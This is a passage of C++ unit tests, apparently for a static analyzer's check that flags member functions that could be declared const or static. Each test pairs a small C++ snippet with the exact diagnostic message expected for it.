(*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class 